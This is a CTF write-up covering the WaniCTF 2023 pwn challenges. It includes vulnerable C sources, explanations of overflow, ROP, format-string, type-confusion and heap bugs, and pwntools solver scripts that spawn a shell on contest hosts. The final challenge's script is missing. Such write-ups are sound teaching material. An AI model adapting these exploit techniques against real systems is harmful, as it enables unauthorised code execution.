Contents

WaniCTF 2023

https://i.imgur.com/8C6JCLK.png
WaniCTF 2023

I spent some of my free time solving challenges from WaniCTF 2023 for practice. I solved all the pwn challenges, and here is a short write-up that I created for all of the pwn challenges that I solved.

Pwn

netcat

We only need to answer the math questions three times, and we will get the flag:

Flag: FLAG{1375_k339_17_u9_4nd_m0v3_0n_2_7h3_n3x7!}

only once

Below is the source code of the challenge:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
  alarm(180);
}

int rand_gen() { return rand() % 1000; }

void win() { system("/bin/sh"); }

int main() {
  init();
  srand((unsigned int)time(NULL));

  int x = rand_gen(), y = rand_gen();
  int score = 0, chall = 1;
  char buf[8];

  while (1) {
    printf("\n+---------------------------------------+\n");
    printf("| your score: %d, remaining %d challenges |\n", score, chall);
    printf("+---------------------------------------+\n\n");

    if (chall == 0) {
      printf("Bye!\n");
      break;
    }
    printf("%3d + %3d = ", x, y);
    scanf("%8s", buf);
    if (atoi(buf) == x + y) {
      printf("Cool!\n");
      score++;
    } else {
      printf("Oops...\n");
      score = 0;
    }
    if (score >= 3) {
      printf("Congrats!\n");
      win();
    }

    x = rand_gen();
    y = rand_gen();
    chall--;
  }
  return 0;
}

The bug is there is an null-byte overflow in the scanf("%8s", buf);, because buf size is 8, yet the scanf will append an extra null-byte on it, which means the total string that is being stored is 9 (and this will overwrite the chall value to 0).

It only breaks if the chall is equals to 0, but due to the null-byte overflow, the chall value will be -1, which mean we won’t exit from the while loop at all.

Solver script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from pwn import *

context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")

r = remote('only-once-pwn.wanictf.org', 9002)
r.sendlineafter(b' = ', b'a'*8)
for _ in range(3):
    out = r.recvuntil(b' = ').strip()[:-2].split(b'\n')[-1]
    ans = str(eval(out)).encode()
    print(f'{out} {ans}')
    r.sendline(ans)
r.interactive()

Flag: FLAG{y0u_4r3_600d_47_c41cu14710n5!}

ret2win

Below is the source code of the challenge:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUF_SIZE 32
#define MAX_READ_LEN 48

void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
  alarm(180);
}

void show_stack(char *buf) {
  printf("\n  #############################################\n");
  printf("  #                stack state                #\n");
  printf("  #############################################\n\n");

  printf("                 hex           string\n");
  for (int i = 0; i < MAX_READ_LEN; i += 8) {
    printf("       +--------------------+----------+\n");
    printf(" +0x%02x | 0x%016lx | ", i, *(unsigned long *)(buf + i));
    for (int j = 7; j > -1; j--) {
      char c = *(char *)(buf + i + j);
      if (c > 0x7e || c < 0x20)
        c = '.';
      printf("%c", c);
    }
    if (i == 40)
      printf(" | <- TARGET!!!\n");
    else
      printf(" |\n");
  }
  printf("       +--------------------+----------+\n");
}

void win() {
  asm("xor %rax, %rax\n"
      "xor %rsi, %rsi\n"
      "xor %rdx, %rdx\n"
      "mov $0x3b, %al\n"
      "mov $0x68732f6e69622f, %rdi\n"
      "push %rdi\n"
      "mov %rsp, %rdi\n"
      "syscall");
}

int ofs = 0, ret = 0;

int main() {
  init();

  char buf[BUF_SIZE] = {0};

  printf("Let's overwrite the target address with that of the win function!\n");

  while (ofs < MAX_READ_LEN) {
    show_stack(buf);

    printf("your input (max. %d bytes) > ", MAX_READ_LEN - ofs);
    ret = read(0, buf + ofs, MAX_READ_LEN - ofs);
    if (ret < 0)
      return 1;
    ofs += ret;
  }
  return 0;
}

There is buffer overflow in the buf variable. We just need to overwrite the RIP to win.

Solver script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
from pwn import *

context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")

r = remote(b'ret2win-pwn.wanictf.org', 9003)

exe = ELF('./chall')
payload = b'a'*32 + p64(exe.bss()+0x100) + p64(exe.symbols['win'])
r.sendlineafter(b' > ', payload)
r.interactive()

Flag: FLAG{f1r57_5739_45_4_9wn3r}

shellcode_basic

Below is the source code of the challenge:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
  char code[1024];
  printf("Enter shellcode: ");
  fgets(code, sizeof(code), stdin);
  void (*shellcode)() = (void (*)())code;
  shellcode();
  return 0;
}

The task was to generate any shellcode.

Solver script:

1
2
3
4
5
6
7
from pwn import *

pc = remote('shell-basic-pwn.wanictf.org', 9004)
context.arch = 'amd64'
shell_code = asm(shellcraft.sh())
pc.sendline(shell_code)
pc.interactive()

Flag: FLAG{NXbit_Blocks_shellcode_next_step_is_ROP}

beginners ROP

Below is the source code of the challenge:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUF_SIZE 32
#define MAX_READ_LEN 96

void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
  alarm(180);
}

void show_stack(char *buf) {
  printf("\n  #############################################\n");
  printf("  #                stack state                #\n");
  printf("  #############################################\n\n");

  printf("                 hex           string\n");
  for (int i = 0; i < MAX_READ_LEN; i += 8) {
    printf("       +--------------------+----------+\n");
    printf(" +0x%02x | 0x%016lx | ", i, *(unsigned long *)(buf + i));
    for (int j = 7; j > -1; j--) {
      char c = *(char *)(buf + i + j);
      if (c > 0x7e || c < 0x20)
        c = '.';
      printf("%c", c);
    }
    if (i == 40)
      printf(" | <- TARGET!!!\n");
    else
      printf(" |\n");
  }
  printf("       +--------------------+----------+\n");
}

void pop_rax_ret() { asm("pop %rax; ret"); }

void xor_rsi_ret() { asm("xor %rsi, %rsi; ret"); }

void xor_rdx_ret() { asm("xor %rdx, %rdx; ret"); }

void mov_rsp_rdi_pop_ret() {
  asm("mov %rsp, %rdi\n"
      "add $0x8, %rsp\n"
      "ret");
}

void syscall_ret() { asm("syscall; ret"); }

int ofs = 0, ret = 0;

int main() {
  init();

  char buf[BUF_SIZE] = {0};

  printf("Let's practice ROP attack!\n");

  while (ofs < MAX_READ_LEN) {
    show_stack(buf);

    printf("your input (max. %d bytes) > ", MAX_READ_LEN - ofs);
    ret = read(0, buf + ofs, MAX_READ_LEN - ofs);
    if (ret < 0)
      return 1;
    ofs += ret;
  }
  return 0;
}

There is buffer overflow bug, but now we need to do ROP. Luckily, the binary has a lot of useful gadgets that we can use (We don’t need leak because the binary is No PIE). Generate a ROP Chain to call execve("/bin/sh").

Solver script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")

exe = ELF('./chall')

r = remote('beginners-rop-pwn.wanictf.org', 9005)

pop_rax = 0x0000000000401371
xor_rsi = 0x000000000040137e
xor_rdx = 0x000000000040138d
syscall = 0x00000000004013af
mov_rdi_rsp = 0x000000000040139c

payload = b'a'*32
payload += p64(exe.bss()+0x100)
payload += p64(xor_rsi)
payload += p64(xor_rdx)
payload += p64(pop_rax) + p64(0x3b)
payload += p64(mov_rdi_rsp) + b'/bin/sh\x00'
payload += p64(syscall)

r.sendlineafter(b' > ', payload)
r.interactive()

Flag: FLAG{h0p_p0p_r0p_po909090p93r!!!!}

Canaleak

Below is the source code of the challenge:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdlib.h>

void init() {
  // alarm(600);
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
}

void win() { system("/bin/sh"); }

int main() {
  char nope[20];
  init();
  while (strcmp(nope, "YES")) {
    printf("You can't overwrite return address if canary is enabled.\nDo you "
           "agree with me? : ");
    scanf("%s", nope);
    printf(nope);
  }
}

There is buffer overflow in scanf("%s", nope); and format string attack in printf(nope). The binary has a canary, so what we need to do:

  • Leak canary with format string attack
  • With the buffer overflow, overwrite RIP to win.

Solver script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
from pwn import *

context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")

exe = ELF('./chall')

r = remote(b'canaleak-pwn.wanictf.org', 9006)

payload = b'%9$p'
r.sendlineafter(b'? : ', payload)
canary = int(r.recvline().strip(), 16)
payload = b'YES\x00' + b'a'*0x14 + p64(canary) + p64(exe.bss()+0x100) +p64(0x000000000040101a) + p64(exe.symbols['win'])
r.sendlineafter(b'? : ', payload)
r.interactive()

Flag: FLAG{N0PE!}

ret2libc

Below is the source code of the challenge:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUF_SIZE 32
#define MAX_READ_LEN 128

void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
  alarm(180);
}

void show_stack(char *buf) {
  printf("\n  #############################################\n");
  printf("  #                stack state                #\n");
  printf("  #############################################\n\n");

  printf("                 hex           string\n");
  for (int i = 0; i < MAX_READ_LEN; i += 8) {
    printf("       +--------------------+----------+\n");
    printf(" +0x%02x | 0x%016lx | ", i, *(unsigned long *)(buf + i));
    for (int j = 7; j > -1; j--) {
      char c = *(char *)(buf + i + j);
      if (c > 0x7e || c < 0x20)
        c = '.';
      printf("%c", c);
    }
    if (i == 40)
      printf(" | <- TARGET!!!\n");
    else
      printf(" |\n");
  }
  printf("       +--------------------+----------+\n");
}

int ofs = 0, ret = 0;

int main() {
  init();

  char buf[BUF_SIZE] = {0};

  printf("Can you master ROP?\n");

  while (ofs < MAX_READ_LEN) {
    show_stack(buf);

    printf("your input (max. %d bytes) > ", MAX_READ_LEN - ofs);
    ret = read(0, buf + ofs, MAX_READ_LEN - ofs);
    if (ret < 0)
      return 1;
    ofs += ret;
  }
  return 0;
}

There is buffer overflow bug, but there isn’t any win function. So the goal is to spawn a shell. Luckily, there is the show_stack feature, which mean we will get a libc leak. What we need to do is spawn a shell with one_gadget based on the given leak.

Solver script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

exe = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.35.so")

context.binary = exe
context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")

remote_url = "ret2libc-pwn.wanictf.org"
remote_port = 9007
gdbscript = '''
'''

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.PLT_DEBUG:
            # gdb.attach(r, gdbscript=gdbscript)
            pause()
    else:
        r = remote(remote_url, remote_port)

    return r

r = conn()

r.recvuntil(b'+0x28 | ')
libc_leak = int(r.recvuntil(b' ').strip(), 16)
libc.address = libc_leak - (libc.symbols['__libc_start_call_main']+128)
print(f'libc base: {hex(libc.address)}')

pop_rdx_r12 = libc.address + 0x000000000011f497
pop_rsi = libc.address + 0x000000000002be51
one_gadget = libc.address + 0xebcf8 # rsi == null, rdx == null

payload = b'a'*32 + p64(exe.bss()+0x200)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx_r12) + p64(0) + p64(0)
payload += p64(one_gadget)
r.sendlineafter(b' > ', payload.ljust(128, b'\x90'))

r.interactive()

Flag: FLAG{c0n6r475_0n_6r4du471n6_45_4_9wn_b361nn3r!}

Time Table

Below is the source code of the challenge:

chall.c

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
#include "utils.h"
#include <stdio.h>
#include <stdlib.h>

comma timetable[5][5];

void print_mandatory_subject();
void print_elective_subject();
void register_mandatory_class();
void register_elective_class();
void print_class_detail();
void write_memo();
void print_menu();
student register_student();

student user;
int main() {
  init();
  user = register_student();
  int i;
  while (1) {
    print_table(timetable);
    print_menu();
    scanf("%d", &i);
    switch (i) {
    case 1:
      register_mandatory_class();
      break;
    case 2:
      register_elective_class();
      break;
    case 3:
      print_class_detail();
      break;
    case 4:
      write_memo();
      break;
    case 5:
      exit(0);
      break;
    default:
      printf("invalid input\n");
    }
  }
}

void print_mandatory_subject(mandatory_subject *mandatory_subjects) {
  printf("Class Name : %s\n", mandatory_subjects->name);
  printf("Class Time : %s\n", time_to_str(mandatory_subjects->time));
  printf("Class Target : %s > ", mandatory_subjects->target[0]);
  printf("%s > ", mandatory_subjects->target[1]);
  printf("%s > ", mandatory_subjects->target[2]);
  printf("%s \n", mandatory_subjects->target[3]);
  printf("Professor : %s\n", mandatory_subjects->professor);
  printf("Short Memo : %s\n", mandatory_subjects->memo);
}

void print_elective_subject(elective_subject *elective_subjects) {
  printf("Class Name : %s\n", elective_subjects->name);
  printf("Class Time : %s\n", time_to_str(elective_subjects->time));
  printf("Professor : %s\n", elective_subjects->professor);
  printf("Short Memo : %s\n", elective_subjects->memo);
}

void register_mandatory_class() {
  int i;
  mandatory_subject choice;
  print_table(timetable);
  printf("-----Mandatory Class List-----\n");
  print_mandatory_list();
  printf(">");
  scanf("%d", &i);
  choice = mandatory_list[i];

  printf("%d\n", choice.time[0]);
  timetable[choice.time[0]][choice.time[1]].name = choice.name;
  timetable[choice.time[0]][choice.time[1]].type = MANDATORY_CLASS_CODE;
  timetable[choice.time[0]][choice.time[1]].detail = &mandatory_list[i];
}

void register_elective_class() {
  int i;
  elective_subject choice;
  print_table(timetable);
  printf("-----Elective Class List-----\n");
  print_elective_list();
  printf(">");
  scanf("%d", &i);
  choice = elective_list[i];
  if (choice.IsAvailable(&user) == 1) {
    timetable[choice.time[0]][choice.time[1]].name = choice.name;
    // The type of timetable is 0 by default since it is a global value.
    timetable[choice.time[0]][choice.time[1]].detail = &elective_list[i];
  } else {
    printf("You can't register this class\n");
  }
}

void print_class_detail() {
  comma *choice = choose_time(timetable);
  if (choice->type == MANDATORY_CLASS_CODE) {
    print_mandatory_subject(choice->detail);
  } else if (choice->type == ELECTIVE_CLASS_CODE) {
    print_elective_subject(choice->detail);
  }
}

void write_memo() {
  comma *choice = choose_time(timetable);
  printf("WRITE MEMO FOR THE CLASS\n");

  if (choice->type == MANDATORY_CLASS_CODE) {
    read(0, ((mandatory_subject *)choice->detail)->memo, 30);
  } else if (choice->type == ELECTIVE_CLASS_CODE) {
    read(0, ((elective_subject *)choice->detail)->memo, 30);
  }
}

void print_menu() {
  printf("1. Register Mandatory Class\n");
  printf("2. Register Elective Class\n");
  printf("3. See Class Detail\n");
  printf("4. Write Memo\n");
  printf("5. Exit\n");
  printf(">");
}

student register_student() {
  student new_student;
  printf("WELCOME TO THE TIME TABLE PROGRAM\n");
  printf("Enter your name : ");
  read(0, new_student.name, 9);
  printf("Enter your student id : ");
  scanf("%d", &new_student.studentNumber);
  printf("Enter your major : ");
  scanf("%d", &new_student.EnglishScore);
  return new_student;
}

const.h

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#define ELECTIVE_CLASS_CODE 0
#define MANDATORY_CLASS_CODE 1

typedef struct {
  char name[10];
  int studentNumber;
  int EnglishScore;
} student;
typedef struct {
  char *name;
  int type;
  void *detail;
} comma;

typedef struct {
  char *name;
  int time[2];
  char *target[4];
  char memo[32];
  char *professor;
} mandatory_subject;

typedef struct {
  char *name;
  int time[2];
  char memo[32];
  char *professor;
  int (*IsAvailable)(student *);
} elective_subject;

const mandatory_subject computer_system = {
    "Computer_System",
    {3, 2},
    {"Engineering", "Electricity&Information", "Information", "Info-system"},
    "",
    "Matsumura Kaoru"};
const mandatory_subject digital_circuit = {
    "Digital_Circuit",
    {2, 4},
    {"Engineering", "Electricity&Information", "Electricity", "Circuit-system"},
    "",
    "Kawamura Takeshi"};
const mandatory_subject system_control = {
    "System Control",
    {1, 1},
    {"Engineering", "Machine&Material", "Machine", "machine-system"},
    "",
    "Nakano Ami"};

mandatory_subject mandatory_list[3] = {computer_system, digital_circuit,
                                       system_control};

int IsAvailableWorldAffairs(student *stu) {
  printf("Name : %s, EnglishScore: %d, studentNumber: %d", stu->name,
         stu->EnglishScore, stu->studentNumber);
  if (stu->EnglishScore >= 60 && stu->studentNumber >= 1000) {
    return 1;
  }
  return 0;
}

const elective_subject world = {
    "World Affairs", {3, 2}, "", "Nomura Kameyo", IsAvailableWorldAffairs};

int IsAvailableTWI(student *stu) {
  if (stu->EnglishScore >= 80 && stu->studentNumber >= 1500) {
    return 1;
  }
  return 0;
}
const elective_subject intellect = {
    "The World of Intellect", {2, 4}, "", "Kataoka Izanami", IsAvailableTWI};

elective_subject elective_list[2] = {world, intellect};

Reading through the code, we notice that there is a bug in register_mandatory_class and register_elective_class, where the choice doesn’t have any bound checks. Observing in GDB, we notice that if we use index 4 during register_mandatory_class, it will points to the elective[1] object. Let’s compare the structure between mandatory and selective.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
typedef struct {
  char *name;
  int time[2];
  char *target[4];
  char memo[32];
  char *professor;
} mandatory_subject;

typedef struct {
  char *name;
  int time[2];
  char memo[32];
  char *professor;
  int (*IsAvailable)(student *);
} elective_subject;

We can see that char memo[32] in elective was treated as char *target[4] by mandatory. So, if we set the memo (with write_memo feature) of elective[1] to one of the GOT entry, when we call the print_class_detail, due to the type confusion, the print_mandatory_subject will give us the libc address of the GOT that we set.

After we got the leak, notice that mandatory[1] is overlapping with elective[-3], where the elective[-3] stored function pointer of IsAvailable will be placed in the mandatory[1].memo[0x10]. If we call write_memo to mandatory[1] and set it to system, when we call register_elective_class, it will call choice.IsAvailable(&user), where the IsAvailable is actually the system address that we just write. We also control the user object, which we can set to /bin/sh\x00.

By doing the above steps, calling IsAvailable(&user) will be equivalent to system("/bin/sh").

Solver script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")

libc = ELF('./libc.so.6')
exe = ELF('./chall')

r = remote('timetable-pwn.wanictf.org', 9008)

def register_mandatory(idx):
    r.sendlineafter(b'>', b'1')
    r.sendlineafter(b'>', str(idx).encode())

def register_elective(idx):
    r.sendlineafter(b'>', b'2')
    r.sendlineafter(b'>', str(idx).encode())

def write_memo(date, val):
    r.sendlineafter(b'>', b'4')
    r.sendlineafter(b'>', date)
    r.sendafter(b'CLASS\n', val)

def see_class(date):
    r.sendlineafter(b'>', b'3')
    r.sendlineafter(b'>', date)
    r.recvuntil(b'Target : ')
    return r.recvuntil(b'\nProf').strip()[:-5]

r.sendlineafter(b'name : ', b'/bin/sh\x00') # Will be use as rdi during calling system

# Set the value that satisfy the elective requirements defined in the const.h
r.sendlineafter(b'id : ', b'2000')
r.sendlineafter(b'major : ', b'100')

# Get libc leak via type confusion
register_elective(1)
payload = (p64(exe.got['atoi'])*4)[:30]
write_memo(b'FRI 3', payload)

# Type confusion
register_mandatory(4) # addrof(mandatory[4]) == addrof(elective[1])
out = see_class(b'FRI 3') # Will print content of got[atoi]
leaked_atoi = u64(out[:6].ljust(8, b'\x00'))
libc.address = leaked_atoi - libc.symbols['atoi']
log.info(f'libc base: {hex(libc.address)}')

# Setup elective stored pointer to system
register_mandatory(1) # Will overlap with elective[-3]
payload = p64(libc.symbols['system'])*3 # Overwrite elective[-3].IsAvailable to system
write_memo(b'FRI 3', payload)

# This will call system("/bin/sh") during calling `choice.IsAvailable(&user)`
register_elective(-3)
r.interactive()

Flag: FLAG{Do_n0t_confus3_mandatory_and_el3ctive}

Copy & Paste

Below is the source code of the challenge:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define NOTE_LIST_LEN 16
#define MAX_NOTE_SIZE 4096

void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
  alarm(180);
}

typedef struct note {
  int size;
  char *ptr;
} note_t;

note_t list[NOTE_LIST_LEN];
note_t copied;

void menu() {
  printf("\n---- memu ----\n");
  printf("1. create note\n");
  printf("2. show note\n");
  printf("3. copy note\n");
  printf("4. paste note\n");
  printf("5. delete note\n");
  printf("6. exit\n");
  printf("--------------\n\n");
}

int get_idx() {
  int idx;
  printf("index: ");
  if ((scanf("%d", &idx) != 1) || idx < 0 || idx >= NOTE_LIST_LEN) {
    printf("Invalid index!\n");
    return -1;
  }
  return idx;
}

int get_size() {
  int size;
  printf("size (0-%d): ", MAX_NOTE_SIZE);
  if ((scanf("%d", &size) != 1) || size < 0 || size > MAX_NOTE_SIZE) {
    printf("Invalid size!\n");
    return -1;
  }
  return size;
}

int is_empty(int idx) {
  int f = (list[idx].ptr == NULL);
  if (f)
    printf("The note is empty!\n");
  return f;
}

void create() {
  int idx, size;
  if ((idx = get_idx()) == -1)
    return;
  if ((size = get_size()) == -1)
    return;
  list[idx].size = size;
  list[idx].ptr = (char *)malloc(list[idx].size);
  memset(list[idx].ptr, 0, list[idx].size);
  printf("Enter your content: ");
  read(0, list[idx].ptr, list[idx].size);
  printf("Done!\n");
}

void show() {
  int idx;
  if ((idx = get_idx()) == -1)
    return;
  if (is_empty(idx))
    return;
  write(1, list[idx].ptr, list[idx].size);
}

void copy() {
  int idx;
  if ((idx = get_idx()) == -1)
    return;
  if (is_empty(idx))
    return;
  copied = list[idx];
  printf("Done!\n");
}

void paste() {
  int idx;
  note_t pasted;
  if ((idx = get_idx()) == -1)
    return;
  if (is_empty(idx))
    return;
  if (copied.ptr == NULL) {
    printf("Please copy a note before pasting!\n");
    return;
  }
  pasted.size = list[idx].size + copied.size;
  if (pasted.size < 0 || pasted.size > MAX_NOTE_SIZE) {
    printf("Invalid size!\nPaste failed!\n");
    return;
  }
  pasted.ptr = (char *)malloc(pasted.size);
  memset(pasted.ptr, 0, pasted.size);
  sprintf(pasted.ptr, "%s%s", list[idx].ptr, copied.ptr);
  free(list[idx].ptr);
  list[idx] = pasted;
  printf("Done!\n");
}

void delete () {
  int idx;
  if ((idx = get_idx()) == -1)
    return;
  if (is_empty(idx))
    return;
  free(list[idx].ptr);
  list[idx].size = 0;
  list[idx].ptr = NULL;
  printf("Done!\n");
}

int main() {
  init();
  int c = 0;

  while (1) {
    menu();
    printf("your choice: ");
    scanf("%d", &c);

    if (c == 1)
      create();
    else if (c == 2)
      show();
    else if (c == 3)
      copy();
    else if (c == 4)
      paste();
    else if (c == 5)
      delete ();
    else if (c == 6)
      return 0;
    else
      printf("Invalid choice!\n");

    scanf("%*[^\n]"); // fflush stdin
  }
  return 0;
}

The bug is in the copy method. The copy method will copy the list entry by value. So, if you call copy and then delete the entry, the copied will still hold pointer to the freed chunk. This leads to two bugs:

  • Use-After-Free
    • If you call copy, delete, and paste, the new chunk that is created with paste will contains the freed chunk metadata (Because the copied points to a freed chunk).
  • Heap-Overflow
    • You can mismatch the stored size in copied with the actual value that is being copied during paste. For example:
      • Suppose you call copy, and now copied.size is 0x10, and copied.ptr is A.
      • You delete it, and create a new chunk with size 0x20, and the newly created chunk was actually placed in A.
      • Now, when you call paste, the copied.size is still 0x10, but during calling the sprintf(pasted.ptr, "%s%s", list[idx].ptr, copied.ptr);, the copied value is actually larger than 0x10.

First, we need to get heap and libc leak with the first bug.

  • To get a libc leak, copy and delete a chunk so that it went to unsorted bin. The chunk metadata will contains a libc address. Next, you call paste, and the new pasted chunk will contains the libc address.
  • To get heap leak, we can simply freed two chunks to the tcache, and ensure the copied.ptr pointing to the last free chunk. Next, you call paste, and the new pasted chunk will contains the mangled pointer of a heap address.

I decided to do FSOP attack to spawn a shell. So, after getting the leaks, our target would be poison the tcache so that it will points to the _IO_2_1_stderr_ address and we will get an allocated chunk placed in the _IO_2_1_stderr_ object.

We need to use the second bug, however it’s quite tricky due to the facts that sprintf will stop when it saw a null terminator. We only have heap overflow, meaning that suppose we have a chunk like this:

1
2
3
0x0000000000000000 0x0000000000000000 <- end of chunk A
0x0000000000000000 0x0000000000000101 <- start of chunk B
0x0012345679123456 0x0000000000000000

And we want to overwrite chunk B pointer with our desired value (For example: 0x5555555555555555). We only have the overflow bug, so when we try to overwrite chunk B pointer, the heap layout will be like this:

1
2
3
0x0101010101010101 0x0101010101010101 <- end of chunk A
0x0101010101010101 0x0101010101010101 <- start of chunk B
0x5555555555555555 0x0000000000000000

We sadly overwrite the chunk B size as well, which is not good. In order to fix that, we can use the fact that sprintf will always append a null byte terminator in the constructed string. So, imagine if we decrease the overflow string one by one, we will be able to clear up the chunk B bytes back to 0x00. Illustration:

1
2
3
4
5
6
7
Overflow string with size n-1
- 0x0101010101010101 will be changed to 0x0001010101010101
Overflow string with size n-2
- 0x0001010101010101 will be changed to 0x0000010101010101
- ...
Overflow string with size n-6
- 0x0000000000010101 will be changed to 0x0000000000000101

In order to do that, we need to have 7 chunks above the targeted chunk to do 7 times overflow (because we don’t have any edit feature). So imagine that the structure is like this

1
2
3
4
5
6
7
8
chunks-1
chunks-2
chunks-3
chunks-4
chunks-5
chunks-6
chunks-7
chunks-8

To fully poisoned the chunks-8, we need to:

  • Overwite chunks-8 next pointer by:
    • Overflow chunks-7 to overwrite chunks-8 next pointer to our desired value.
  • Fix chunks-8 size due to the previous write by:
    • Overflow chunks-6 to overwrite chunks-8.size nth-bytes to 0.
    • Overflow chunks-5 to overwrite chunks-8.size n-1th-bytes to 0.
    • Overflow chunks-4 to overwrite chunks-8.size n-2th-bytes to 0.
    • Overflow chunks-1 to overwrite chunks-8.size n-6th-bytes to 0.

I don’t have too much time to deep dive into this in detail, but I’ve tried to explain this in the solver script as clear as possible.

After we successfully fix the chunks, we can simply create two more chunks, and the last chunk will be placed to our desired target (which in this case, the _IO_2_1_stderr_).

After that, we can simply do the usual FSOP attack (I’ve explained it in this writeup1 and writeup2).

Solver script:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
